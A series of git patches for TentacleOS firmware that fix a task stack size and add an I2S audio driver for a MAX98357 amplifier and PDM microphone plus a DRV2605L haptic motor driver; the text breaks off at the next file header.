.../components/Service/bridge_manager/bridge_manager.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index d6b48fcb1..8a4e9e7bd 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -75,7 +75,9 @@ esp_err_t bridge_manager_init(void) { // Background link monitor: idles while the bridge is alive, and re-detects the // C5 whenever it appears if the boot-time check marks the bridge dead (late // C5 boot, or a C5 reboot after an OTA). Started once here. - xTaskCreate(c5_link_monitor, "c5_link_mon", 3072, NULL, 4, NULL); + // 6 KB: the probe calls spi_bridge_send_command (which puts two SPI_FRAME_SIZE + // buffers on the stack) and logs via vfprintf on timeout - 3 KB overflowed. + xTaskCreate(c5_link_monitor, "c5_link_mon", 6144, NULL, 4, NULL); spi_header_t resp_header; uint8_t resp_ver[VERSION_BUF_SIZE]; From b07537d56cc011d4354cb2541d5cc89fa12cdc42 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 10:59:14 -0300 Subject: [PATCH 092/572] feat(drivers): add I2S audio driver for MAX98357 amp and PDM mic --- .../components/Drivers/audio_i2s/audio_i2s.c | 534 ++++++++++++++++++ .../Drivers/audio_i2s/include/audio_i2s.h | 134 +++++ 2 files changed, 668 insertions(+) create mode 100644 firmware_p4/components/Drivers/audio_i2s/audio_i2s.c create mode 100644 firmware_p4/components/Drivers/audio_i2s/include/audio_i2s.h diff --git a/firmware_p4/components/Drivers/audio_i2s/audio_i2s.c b/firmware_p4/components/Drivers/audio_i2s/audio_i2s.c new file mode 100644 index 000000000..e07c73c77 --- /dev/null +++ b/firmware_p4/components/Drivers/audio_i2s/audio_i2s.c @@ -0,0 +1,534 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "audio_i2s.h" + +#include +#include +#include +#include + +#include "esp_heap_caps.h" +#include "esp_log.h" +#include "driver/gpio.h" +#include "driver/i2s_std.h" +#include "driver/i2s_pdm.h" +#include "freertos/FreeRTOS.h" +#include "freertos/queue.h" +#include "freertos/task.h" + +#include "pin_def.h" + +static const char *TAG = "AUDIO_I2S"; + +#define SAMPLE_RATE_HZ 44100 +#define CHUNK_SAMPLES 1024 +#define MAX_TONES_PER_FX 4 +#define QUEUE_DEPTH 4 + +typedef struct { + float freq_hz; + uint16_t dur_ms; + float amp; +} tone_t; + +typedef struct { + tone_t tones[MAX_TONES_PER_FX]; + uint8_t count; +} fx_t; + +static i2s_chan_handle_t s_tx = NULL; +static QueueHandle_t s_fx_q = NULL; +static int16_t *s_chunk_buf = NULL; +static bool s_ready = false; +static i2s_chan_handle_t s_rx_stream = NULL; + +static float s_play_vol = 1.0f; + +void audio_i2s_set_volume(uint8_t pct) { + if (pct > 100) + pct = 100; + float n = pct / 100.0f; + s_play_vol = n * n; +} + +static void play_tone(float freq_hz, int dur_ms, float amp) { + const int total = (SAMPLE_RATE_HZ * dur_ms) / 1000; + for (int phase_i = 0; phase_i < total;) { + int n = (total - phase_i > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (total - phase_i); + for (int i = 0; i < n; i++) { + double t = (double)(phase_i + i) / SAMPLE_RATE_HZ; + s_chunk_buf[i] = (int16_t)(sinf(2.0f * 3.14159265f * freq_hz * t) * amp * 32760.0f); + } + size_t written = 0; + i2s_channel_write(s_tx, s_chunk_buf, n * sizeof(int16_t), &written, pdMS_TO_TICKS(500)); + phase_i += n; + } +} + +static void play_silence(int dur_ms) { + const int total = (SAMPLE_RATE_HZ * dur_ms) / 1000; + memset(s_chunk_buf, 0, CHUNK_SAMPLES * sizeof(int16_t)); + for (int phase_i = 0; phase_i < total;) { + int n = (total - phase_i > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (total - phase_i); + size_t written = 0; + i2s_channel_write(s_tx, s_chunk_buf, n * sizeof(int16_t), &written, pdMS_TO_TICKS(500)); + phase_i += n; + } +} + +static void audio_task(void *arg) { + (void)arg; + play_silence(50); + + fx_t fx; + while (true) { + if (xQueueReceive(s_fx_q, &fx, portMAX_DELAY) != pdTRUE) + continue; + for (int i = 0; i < fx.count; i++) { + play_tone(fx.tones[i].freq_hz, fx.tones[i].dur_ms, fx.tones[i].amp); + } + play_silence(5); + } +} + +esp_err_t audio_i2s_init(void) { + if (s_ready) + return ESP_OK; + + i2s_chan_config_t chan_cfg = I2S_CHANNEL_DEFAULT_CONFIG(I2S_NUM_0, I2S_ROLE_MASTER); + esp_err_t err = i2s_new_channel(&chan_cfg, &s_tx, NULL); + if (err != ESP_OK) { + ESP_LOGE(TAG, "i2s_new_channel: %s", esp_err_to_name(err)); + return err; + } + + i2s_std_config_t std_cfg = { + .clk_cfg = I2S_STD_CLK_DEFAULT_CONFIG(SAMPLE_RATE_HZ), + .slot_cfg = I2S_STD_PHILIPS_SLOT_DEFAULT_CONFIG(I2S_DATA_BIT_WIDTH_16BIT, I2S_SLOT_MODE_MONO), + .gpio_cfg = + { + .mclk = I2S_GPIO_UNUSED, + .bclk = GPIO_AUDIO_BCLK_PIN, + .ws = GPIO_AUDIO_LRCLK_PIN, + .dout = GPIO_AUDIO_DIN_PIN, + .din = I2S_GPIO_UNUSED, + }, + }; + + err = i2s_channel_init_std_mode(s_tx, &std_cfg); + if (err != ESP_OK) { + ESP_LOGE(TAG, "init_std_mode: %s", esp_err_to_name(err)); + i2s_del_channel(s_tx); + s_tx = NULL; + return err; + } + err = i2s_channel_enable(s_tx); + if (err != ESP_OK) { + ESP_LOGE(TAG, "channel_enable: %s", esp_err_to_name(err)); + i2s_del_channel(s_tx); + s_tx = NULL; + return err; + } + + s_chunk_buf = heap_caps_malloc(CHUNK_SAMPLES * sizeof(int16_t), MALLOC_CAP_DMA); + if (s_chunk_buf == NULL) { + ESP_LOGE(TAG, "chunk buf alloc failed"); + i2s_channel_disable(s_tx); + i2s_del_channel(s_tx); + s_tx = NULL; + return ESP_ERR_NO_MEM; + } + + s_fx_q = xQueueCreate(QUEUE_DEPTH, sizeof(fx_t)); + if (s_fx_q == NULL) { + free(s_chunk_buf); + s_chunk_buf = NULL; + i2s_channel_disable(s_tx); + i2s_del_channel(s_tx); + s_tx = NULL; + return ESP_ERR_NO_MEM; + } + + if (xTaskCreatePinnedToCore(audio_task, "audio_i2s", 3072, NULL, 4, NULL, 1) != pdPASS) { + vQueueDelete(s_fx_q); + s_fx_q = NULL; + free(s_chunk_buf); + s_chunk_buf = NULL; + i2s_channel_disable(s_tx); + i2s_del_channel(s_tx); + s_tx = NULL; + return ESP_ERR_NO_MEM; + } + + s_ready = true; + ESP_LOGI(TAG, + "audio I2S ready (BCLK=%d WS=%d DOUT=%d @ %d Hz)", + GPIO_AUDIO_BCLK_PIN, + GPIO_AUDIO_LRCLK_PIN, + GPIO_AUDIO_DIN_PIN, + SAMPLE_RATE_HZ); + return ESP_OK; +} + +void audio_play_chime(void) { + if (!s_ready) + return; + fx_t fx = { + .count = 3, + .tones = + { + {523.25f, 130, 0.35f}, + {659.25f, 130, 0.35f}, + {783.99f, 180, 0.35f}, + }, + }; + (void)xQueueSend(s_fx_q, &fx, 0); +} + +void audio_click(void) { + if (!s_ready) + return; + fx_t fx = { + .count = 1, + .tones = {{2000.0f, 30, 0.18f}}, + }; + (void)xQueueSend(s_fx_q, &fx, 0); +} + +static esp_err_t open_tx(i2s_chan_handle_t *tx, int rate) { + i2s_chan_config_t chan_cfg = I2S_CHANNEL_DEFAULT_CONFIG(I2S_NUM_0, I2S_ROLE_MASTER); + esp_err_t err = i2s_new_channel(&chan_cfg, tx, NULL); + if (err != ESP_OK) { + ESP_LOGE(TAG, "open_tx: new_channel %s", esp_err_to_name(err)); + return err; + } + i2s_std_config_t std_cfg = { + .clk_cfg = I2S_STD_CLK_DEFAULT_CONFIG(rate), + .slot_cfg = I2S_STD_PHILIPS_SLOT_DEFAULT_CONFIG(I2S_DATA_BIT_WIDTH_16BIT, I2S_SLOT_MODE_MONO), + .gpio_cfg = + { + .mclk = I2S_GPIO_UNUSED, + .bclk = GPIO_AUDIO_BCLK_PIN, + .ws = GPIO_AUDIO_LRCLK_PIN, + .dout = GPIO_AUDIO_DIN_PIN, + .din = I2S_GPIO_UNUSED, + }, + }; + err = i2s_channel_init_std_mode(*tx, &std_cfg); + if (err == ESP_OK) + err = i2s_channel_enable(*tx); + if (err != ESP_OK) { + i2s_del_channel(*tx); + *tx = NULL; + } + return err; +} + +static void write_silence(i2s_chan_handle_t tx, int16_t *buf, int rate, int dur_ms) { + const int total = (rate * dur_ms) / 1000; + memset(buf, 0, CHUNK_SAMPLES * sizeof(int16_t)); + size_t w = 0; + for (int p = 0; p < total;) { + int n = (total - p > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (total - p); + i2s_channel_write(tx, buf, n * sizeof(int16_t), &w, pdMS_TO_TICKS(500)); + p += n; + } +} + +#define ENV_ATTACK_MS 4 +#define ENV_RELEASE_MS 8 + +static void render_note(i2s_chan_handle_t tx, int16_t *buf, float freq_hz, int dur_ms, float amp) { + const int total = (SAMPLE_RATE_HZ * dur_ms) / 1000; + if (total <= 0) + return; + const int atk = (SAMPLE_RATE_HZ * ENV_ATTACK_MS) / 1000; + const int rel = (SAMPLE_RATE_HZ * ENV_RELEASE_MS) / 1000; + const float vol = amp * s_play_vol; + const float dphase = 2.0f * 3.14159265f * freq_hz / (float)SAMPLE_RATE_HZ; + float phase = 0.0f; + size_t w = 0; + for (int p = 0; p < total;) { + int n = (total - p > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (total - p); + for (int i = 0; i < n; i++) { + if (freq_hz <= 0.0f) { + buf[i] = 0; + continue; + } + int idx = p + i; + float env = 1.0f; + if (idx < atk) + env = 0.5f * (1.0f - cosf(3.14159265f * idx / atk)); + else if (idx >= total - rel) + env = 0.5f * (1.0f - cosf(3.14159265f * (total - idx) / rel)); + int v = (int)(sinf(phase) * vol * env * 32760.0f); + phase += dphase; + if (phase > 6.2831853f) + phase -= 6.2831853f; + if (v > 32767) + v = 32767; + else if (v < -32768) + v = -32768; + buf[i] = (int16_t)v; + } + i2s_channel_write(tx, buf, n * sizeof(int16_t), &w, pdMS_TO_TICKS(500)); + p += n; + } +} + +esp_err_t audio_i2s_play_tone(float freq_hz, int dur_ms, float amp) { + i2s_chan_handle_t tx = NULL; + esp_err_t err = open_tx(&tx, SAMPLE_RATE_HZ); + if (err != ESP_OK) + return err; + int16_t *buf = heap_caps_malloc(CHUNK_SAMPLES * sizeof(int16_t), MALLOC_CAP_DMA); + if (buf == NULL) { + i2s_channel_disable(tx); + i2s_del_channel(tx); + return ESP_ERR_NO_MEM; + } + write_silence(tx, buf, SAMPLE_RATE_HZ, 8); + render_note(tx, buf, freq_hz, dur_ms, amp); + write_silence(tx, buf, SAMPLE_RATE_HZ, 8); + free(buf); + i2s_channel_disable(tx); + i2s_del_channel(tx); + return ESP_OK; +} + +esp_err_t audio_i2s_play_song_cb( + const audio_note_t *notes, int count, float amp, audio_song_progress_cb_t cb, void *ctx) { + if (notes == NULL || count <= 0) + return ESP_ERR_INVALID_ARG; + i2s_chan_handle_t tx = NULL; + esp_err_t err = open_tx(&tx, SAMPLE_RATE_HZ); + if (err != ESP_OK) + return err; + int16_t *buf = heap_caps_malloc(CHUNK_SAMPLES * sizeof(int16_t), MALLOC_CAP_DMA); + if (buf == NULL) { + i2s_channel_disable(tx); + i2s_del_channel(tx); + return ESP_ERR_NO_MEM; + } + write_silence(tx, buf, SAMPLE_RATE_HZ, 8); + for (int i = 0; i < count; i++) { + if (cb != NULL && !cb(i, count, notes[i].freq_hz, ctx)) + break; + render_note(tx, buf, (float)notes[i].freq_hz, notes[i].dur_ms, amp); + } + write_silence(tx, buf, SAMPLE_RATE_HZ, 8); + free(buf); + i2s_channel_disable(tx); + i2s_del_channel(tx); + return ESP_OK; +} + +esp_err_t audio_i2s_play_song(const audio_note_t *notes, int count, float amp) { + return audio_i2s_play_song_cb(notes, count, amp, NULL, NULL); +} + +esp_err_t audio_i2s_play_pcm(const int16_t *pcm, size_t n_samples, uint32_t sample_rate) { + if (pcm == NULL || n_samples == 0) + return ESP_ERR_INVALID_ARG; + i2s_chan_handle_t tx = NULL; + esp_err_t err = open_tx(&tx, (int)sample_rate); + if (err != ESP_OK) + return err; + + size_t off = 0, w = 0; + while (off < n_samples) { + size_t chunk = (n_samples - off > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (n_samples - off); + err = i2s_channel_write(tx, &pcm[off], chunk * sizeof(int16_t), &w, pdMS_TO_TICKS(500)); + if (err != ESP_OK) { + ESP_LOGE(TAG, "play_pcm: write @ %u failed: %s", (unsigned)off, esp_err_to_name(err)); + break; + } + off += chunk; + } + if (err == ESP_OK) { + int16_t zeros[256] = {0}; + int tail = (int)(sample_rate * 20 / 1000); + while (tail > 0) { + int n = tail > 256 ? 256 : tail; + i2s_channel_write(tx, zeros, n * sizeof(int16_t), &w, pdMS_TO_TICKS(200)); + tail -= n; + } + } + + i2s_channel_disable(tx); + i2s_del_channel(tx); + return err; +} + +esp_err_t audio_i2s_mic_record(int16_t *out, + size_t max_samples, + uint32_t sample_rate, + size_t *out_captured, + audio_mic_level_cb_t cb, + void *ctx) { + if (out == NULL || max_samples == 0) + return ESP_ERR_INVALID_ARG; + if (out_captured) + *out_captured = 0; + + gpio_config_t sel = { + .mode = GPIO_MODE_OUTPUT, + .pin_bit_mask = 1ULL << GPIO_MIC_PDM_SEL_PIN, + .intr_type = GPIO_INTR_DISABLE, + .pull_up_en = GPIO_PULLUP_DISABLE, + .pull_down_en = GPIO_PULLDOWN_DISABLE, + }; + gpio_config(&sel); + gpio_set_level(GPIO_MIC_PDM_SEL_PIN, 0); + + i2s_chan_handle_t rx = NULL; + i2s_chan_config_t chan_cfg = I2S_CHANNEL_DEFAULT_CONFIG(I2S_NUM_0, I2S_ROLE_MASTER); + esp_err_t err = i2s_new_channel(&chan_cfg, NULL, &rx); + if (err != ESP_OK) { + ESP_LOGE(TAG, "mic: new_channel %s", esp_err_to_name(err)); + return err; + } + i2s_pdm_rx_config_t pdm_cfg = { + .clk_cfg = I2S_PDM_RX_CLK_DEFAULT_CONFIG(sample_rate), + .slot_cfg = I2S_PDM_RX_SLOT_DEFAULT_CONFIG(I2S_DATA_BIT_WIDTH_16BIT, I2S_SLOT_MODE_MONO), + .gpio_cfg = + { + .clk = GPIO_MIC_PDM_CLK_PIN, + .din = GPIO_MIC_PDM_DATA_PIN, + .invert_flags = {0}, + }, + }; + pdm_cfg.slot_cfg.hp_en = true; + pdm_cfg.slot_cfg.hp_cut_off_freq_hz = 50.0f; + pdm_cfg.slot_cfg.amplify_num = 3; + err = i2s_channel_init_pdm_rx_mode(rx, &pdm_cfg); + if (err == ESP_OK) + err = i2s_channel_enable(rx); + if (err != ESP_OK) { + ESP_LOGE(TAG, "mic: init/enable %s", esp_err_to_name(err)); + i2s_del_channel(rx); + return err; + } + + vTaskDelay(pdMS_TO_TICKS(120)); + + size_t got = 0; + size_t first = (max_samples > CHUNK_SAMPLES) ? CHUNK_SAMPLES : max_samples; + i2s_channel_read(rx, out, first * sizeof(int16_t), &got, pdMS_TO_TICKS(300)); + + size_t captured = 0; + while (captured < max_samples) { + size_t want = + (max_samples - captured > CHUNK_SAMPLES) ? CHUNK_SAMPLES : (max_samples - captured); + err = i2s_channel_read(rx, &out[captured], want * sizeof(int16_t), &got, pdMS_TO_TICKS(500)); + if (err != ESP_OK || got == 0) + break; + size_t ns = got / sizeof(int16_t); + if (cb != NULL) { + int32_t pk = 0; + uint64_t sumsq = 0; + for (size_t i = 0; i < ns; i++) { + int32_t a = out[captured + i]; + if (a < 0) + a = -a; + if (a > pk) + pk = a; + sumsq += (uint64_t)a * (uint64_t)a; + } + int rms = (ns > 0) ? (int)sqrt((double)(sumsq / ns)) : 0; + cb((int)pk, rms, ctx); + } + captured += ns; + } + + i2s_channel_disable(rx); + i2s_del_channel(rx); + if (out_captured) + *out_captured = captured; + ESP_LOGI(TAG, + "mic: captured %u samples @ %lu Hz (err=%s)", + (unsigned)captured, + (unsigned long)sample_rate, + esp_err_to_name(err)); + return err; +} + +esp_err_t audio_i2s_mic_stream_start(uint32_t sample_rate) { + if (s_rx_stream) + return ESP_OK; + + gpio_config_t sel = { + .mode = GPIO_MODE_OUTPUT, + .pin_bit_mask = 1ULL << GPIO_MIC_PDM_SEL_PIN, + .intr_type = GPIO_INTR_DISABLE, + .pull_up_en = GPIO_PULLUP_DISABLE, + .pull_down_en = GPIO_PULLDOWN_DISABLE, + }; + gpio_config(&sel); + gpio_set_level(GPIO_MIC_PDM_SEL_PIN, 0); + + i2s_chan_config_t chan_cfg = I2S_CHANNEL_DEFAULT_CONFIG(I2S_NUM_0, I2S_ROLE_MASTER); + esp_err_t err = i2s_new_channel(&chan_cfg, NULL, &s_rx_stream); + if (err != ESP_OK) { + ESP_LOGE(TAG, "mic stream: new_channel %s", esp_err_to_name(err)); + s_rx_stream = NULL; + return err; + } + i2s_pdm_rx_config_t pdm_cfg = { + .clk_cfg = I2S_PDM_RX_CLK_DEFAULT_CONFIG(sample_rate), + .slot_cfg = I2S_PDM_RX_SLOT_DEFAULT_CONFIG(I2S_DATA_BIT_WIDTH_16BIT, I2S_SLOT_MODE_MONO), + .gpio_cfg = + { + .clk = GPIO_MIC_PDM_CLK_PIN, + .din = GPIO_MIC_PDM_DATA_PIN, + .invert_flags = {0}, + }, + }; + pdm_cfg.slot_cfg.hp_en = true; + pdm_cfg.slot_cfg.hp_cut_off_freq_hz = 50.0f; + pdm_cfg.slot_cfg.amplify_num = 3; + err = i2s_channel_init_pdm_rx_mode(s_rx_stream, &pdm_cfg); + if (err == ESP_OK) + err = i2s_channel_enable(s_rx_stream); + if (err != ESP_OK) { + ESP_LOGE(TAG, "mic stream: init/enable %s", esp_err_to_name(err)); + i2s_del_channel(s_rx_stream); + s_rx_stream = NULL; + return err; + } + vTaskDelay(pdMS_TO_TICKS(120)); + ESP_LOGI(TAG, "mic stream started @ %lu Hz", (unsigned long)sample_rate); + return ESP_OK; +} + +int audio_i2s_mic_stream_read(int16_t *buf, int max_samples) { + if (s_rx_stream == NULL || buf == NULL || max_samples <= 0) + return 0; + size_t got = 0; + if (i2s_channel_read(s_rx_stream, buf, max_samples * sizeof(int16_t), &got, pdMS_TO_TICKS(300)) != + ESP_OK) + return 0; + return (int)(got / sizeof(int16_t)); +} + +void audio_i2s_mic_stream_stop(void) { + if (s_rx_stream == NULL) + return; + i2s_channel_disable(s_rx_stream); + i2s_del_channel(s_rx_stream); + s_rx_stream = NULL; + ESP_LOGI(TAG, "mic stream stopped"); +} diff --git a/firmware_p4/components/Drivers/audio_i2s/include/audio_i2s.h b/firmware_p4/components/Drivers/audio_i2s/include/audio_i2s.h new file mode 100644 index 000000000..a59756624 --- /dev/null +++ b/firmware_p4/components/Drivers/audio_i2s/include/audio_i2s.h @@ -0,0 +1,134 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef AUDIO_I2S_H +#define AUDIO_I2S_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +#include "esp_err.h" + +/** + * @brief Bring up I2S_NUM_0 on the MAX98357 amp pins and start the audio + * playback task. Idempotent - safe to call multiple times. + */ +esp_err_t audio_i2s_init(void); + +/** + * @brief Global output volume (0..100), applied on top of each sound's own + * amplitude. Perceptual (square-law) curve so the slider feels linear. + * Hardware gain on the MAX98357A is fixed, so this is digital scaling. + */ +void audio_i2s_set_volume(uint8_t pct); + +/** One note for audio_i2s_play_song(). freq_hz == 0 means a rest (silence). */ +typedef struct { + uint16_t freq_hz; + uint16_t dur_ms; +} audio_note_t; + +/** + * @brief Play a melody (blocking, gapless): opens ONE I2S channel, renders all + * notes back-to-back with per-note anti-click attack/release envelopes + * and a continuous phase accumulator, then closes. Far cleaner than + * calling play_tone per note (no per-note channel teardown clicks/gaps). + */ +esp_err_t audio_i2s_play_song(const audio_note_t *notes, int count, float amp); + +/** + * @brief Per-note hook for audio_i2s_play_song_cb(). Called once, in the + * CALLER's (worker) thread, just before each note is rendered, with the + * note index, total count and that note's frequency. Return false to + * cancel playback (cooperative STOP). MUST be trivial - only touch + * volatile scalars; NEVER call any lv_* function from here. + */ +typedef bool (*audio_song_progress_cb_t)(int note_index, + int note_count, + uint16_t freq_hz, + void *ctx); + +/** + * @brief Like audio_i2s_play_song() (gapless, single open channel, anti-click + * envelopes) but reports per-note progress and supports cooperative + * cancel: @p cb is invoked before each note; returning false stops after + * the current note (a short tail-silence is still flushed). Pass cb=NULL + * for plain playback. + */ +esp_err_t audio_i2s_play_song_cb( + const audio_note_t *notes, int count, float amp, audio_song_progress_cb_t cb, void *ctx); + +/** Play a single sine tone (blocking) at 44.1 kHz mono. amp in [0..1]. */ +esp_err_t audio_i2s_play_tone(float freq_hz, int dur_ms, float amp); + +/** Play a raw 16-bit mono PCM buffer (blocking) at @p sample_rate. */ +esp_err_t audio_i2s_play_pcm(const int16_t *pcm, size_t n_samples, uint32_t sample_rate); + +/** + * @brief Per-chunk live-level callback for audio_i2s_mic_record(). @p peak is + * the max |sample| (0..32767) of the chunk just captured; drives a live + * VU meter. Runs in the recording task's context - keep it trivial. + */ +typedef void (*audio_mic_level_cb_t)(int peak, int rms, void *ctx); + +/** + * @brief Capture @p max_samples of 16-bit mono PCM from the PDM mic (blocking). + * Opens an I2S_NUM_0 PDM-RX channel, lets the HP filter settle, fills + * @p out, then closes. *out_captured gets the real sample count. If + * @p cb is non-NULL it is invoked after each chunk with that chunk's + * peak level for a live meter. + */ +esp_err_t audio_i2s_mic_record(int16_t *out, + size_t max_samples, + uint32_t sample_rate, + size_t *out_captured, + audio_mic_level_cb_t cb, + void *ctx); + +/** Open a continuous PDM-RX stream at @p sample_rate. Idempotent. */ +esp_err_t audio_i2s_mic_stream_start(uint32_t sample_rate); + +/** + * @brief Read up to @p max_samples 16-bit mono samples from the open stream. + * @return Number of samples read (0 on error/timeout/not-started). + */ +int audio_i2s_mic_stream_read(int16_t *buf, int max_samples); + +/** Stop and free the streaming mic channel. Safe to call when not started. */ +void audio_i2s_mic_stream_stop(void); + +/** + * @brief Queue a 3-note "boot chime" (C5 -> E5 -> G5, ~200 ms each). + * Non-blocking; dropped if the queue is full. + */ +void audio_play_chime(void); + +/** + * @brief Queue a short click tone (~30 ms, ~2 kHz). Non-blocking; + * dropped if the queue already has 4 pending entries so rapid + * button mashing never piles up. + */ +void audio_click(void); + +#ifdef __cplusplus +} +#endif + +#endif // AUDIO_I2S_H From aca9f01d0b16280e7fd2afbf3e03b13b3133d79e Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 10:59:39 -0300 Subject: [PATCH 093/572] feat(drivers): add DRV2605L haptic driver --- .../components/Drivers/drv2605l/drv2605l.c | 182 ++++++++++++++++++ .../Drivers/drv2605l/include/drv2605l.h | 78 ++++++++ 2 files changed, 260 insertions(+) create mode 100644 firmware_p4/components/Drivers/drv2605l/drv2605l.c create mode 100644 firmware_p4/components/Drivers/drv2605l/include/drv2605l.h diff --git a/firmware_p4/components/Drivers/drv2605l/drv2605l.c b/firmware_p4/components/Drivers/drv2605l/drv2605l.c new file mode 100644 index 000000000..7fc46eed0 --- /dev/null +++ b/firmware_p4/components/Drivers/drv2605l/drv2605l.c @@ -0,0 +1,182 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "drv2605l.h" + +#include "driver/gpio.h" +#include "driver/i2c.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "pin_def.h" + +static const char *TAG = "DRV2605L"; + +#define REG_STATUS 0x00 +#define REG_MODE 0x01 +#define REG_RTP_INPUT 0x02 +#define REG_LIB_SEL 0x03 +#define REG_WAVESEQ_0 0x04 +#define REG_GO 0x0C +#define REG_RATED_V 0x16 +#define REG_OD_CLAMP 0x17 +#define REG_A_CAL_COMP 0x18 +#define REG_A_CAL_BEMF 0x19 +#define REG_FEEDBACK_CTRL 0x1A +#define REG_CONTROL1 0x1B +#define REG_CONTROL2 0x1C +#define REG_CONTROL3 0x1D +#define REG_DEVICE_ID 0x00 + +#define MODE_INTERNAL_TRIG 0x00 +#define MODE_AUTO_CAL 0x07 +#define MODE_RTP 0x05 +#define LIB_TS2200_A 0x01 + +#define RATED_V_ERM 0x90 +#define OD_CLAMP_ERM 0xCC + +#define I2C_TIMEOUT pdMS_TO_TICKS(50) + +static uint8_t s_device_id = 0; +static bool s_ready = false; +static bool s_rtp_mode = false; +static uint8_t s_last_effect = 0xFF; + +static esp_err_t write_reg(uint8_t reg, uint8_t val) { + uint8_t buf[2] = {reg, val}; + return i2c_master_write_to_device(I2C_NUM_0, DRV2605L_I2C_ADDR, buf, sizeof(buf), I2C_TIMEOUT); +} + +static esp_err_t read_reg(uint8_t reg, uint8_t *out_val) { + return i2c_master_write_read_device( + I2C_NUM_0, DRV2605L_I2C_ADDR, ®, 1, out_val, 1, I2C_TIMEOUT); +} + +uint8_t drv2605l_device_id(void) { + return s_device_id; +} + +esp_err_t drv2605l_init(void) { + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t status = 0; + esp_err_t ret = read_reg(REG_STATUS, &status); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Status read failed: %s", esp_err_to_name(ret)); + return ret; + } + s_device_id = (status >> 5) & 0x07; + + ret = write_reg(REG_MODE, MODE_INTERNAL_TRIG); + if (ret == ESP_OK) + ret = write_reg(REG_LIB_SEL, LIB_TS2200_A); + + if (ret == ESP_OK) + ret = write_reg(REG_RATED_V, RATED_V_ERM); + if (ret == ESP_OK) + ret = write_reg(REG_OD_CLAMP, OD_CLAMP_ERM); + + if (ret == ESP_OK) + ret = write_reg(REG_FEEDBACK_CTRL, 0x35); + if (ret == ESP_OK) + ret = write_reg(REG_CONTROL1, 0x93); + if (ret == ESP_OK) + ret = write_reg(REG_CONTROL2, 0xF5); + if (ret == ESP_OK) + ret = write_reg(REG_CONTROL3, 0xA0); + + if (ret != ESP_OK) { + return ret; + } + + s_ready = true; + ESP_LOGI(TAG, + "DRV2605L ready (DEVICE_ID=%u, rated=0x%02X clamp=0x%02X)", + s_device_id, + RATED_V_ERM, + OD_CLAMP_ERM); + return ESP_OK; +} + +esp_err_t drv2605l_play_effect(uint8_t effect) { + if (!s_ready) { + return ESP_ERR_INVALID_STATE; + } + if (s_rtp_mode) { + esp_err_t mret = write_reg(REG_MODE, MODE_INTERNAL_TRIG); + if (mret != ESP_OK) + return mret; + s_rtp_mode = false; + s_last_effect = 0xFF; + } + if (effect != s_last_effect) { + esp_err_t ret = write_reg(REG_WAVESEQ_0, effect); + if (ret == ESP_OK) + ret = write_reg(REG_WAVESEQ_0 + 1, 0); + if (ret != ESP_OK) { + return ret; + } + s_last_effect = effect; + } + return write_reg(REG_GO, 0x01); +} + +esp_err_t drv2605l_stop(void) { + if (!s_ready) { + return ESP_ERR_INVALID_STATE; + } + return write_reg(REG_GO, 0x00); +} + +esp_err_t drv2605l_autocal(void) { + if (!s_ready) { + return ESP_ERR_INVALID_STATE; + } + esp_err_t ret = write_reg(REG_MODE, MODE_AUTO_CAL); + if (ret == ESP_OK) + ret = write_reg(REG_GO, 0x01); + if (ret != ESP_OK) { + return ret; + } + uint8_t go = 1; + for (int i = 0; i < 150 && (go & 0x01); i++) { + vTaskDelay(pdMS_TO_TICKS(10)); + if (read_reg(REG_GO, &go) != ESP_OK) + break; + } + uint8_t status = 0; + read_reg(REG_STATUS, &status); + bool ok = ((status & 0x08) == 0); + + write_reg(REG_MODE, MODE_INTERNAL_TRIG); + s_rtp_mode = false; + s_last_effect = 0xFF; + ESP_LOGI(TAG, "auto-cal %s (status=0x%02X)", ok ? "PASS" : "FAIL", status); + return ok ? ESP_OK : ESP_FAIL; +} + +esp_err_t drv2605l_set_rtp(uint8_t intensity) { + if (!s_ready) { + return ESP_ERR_INVALID_STATE; + } + esp_err_t ret = write_reg(REG_MODE, MODE_RTP); + if (ret == ESP_OK) { + s_rtp_mode = true; + ret = write_reg(REG_RTP_INPUT, intensity); + } + return ret; +} diff --git a/firmware_p4/components/Drivers/drv2605l/include/drv2605l.h 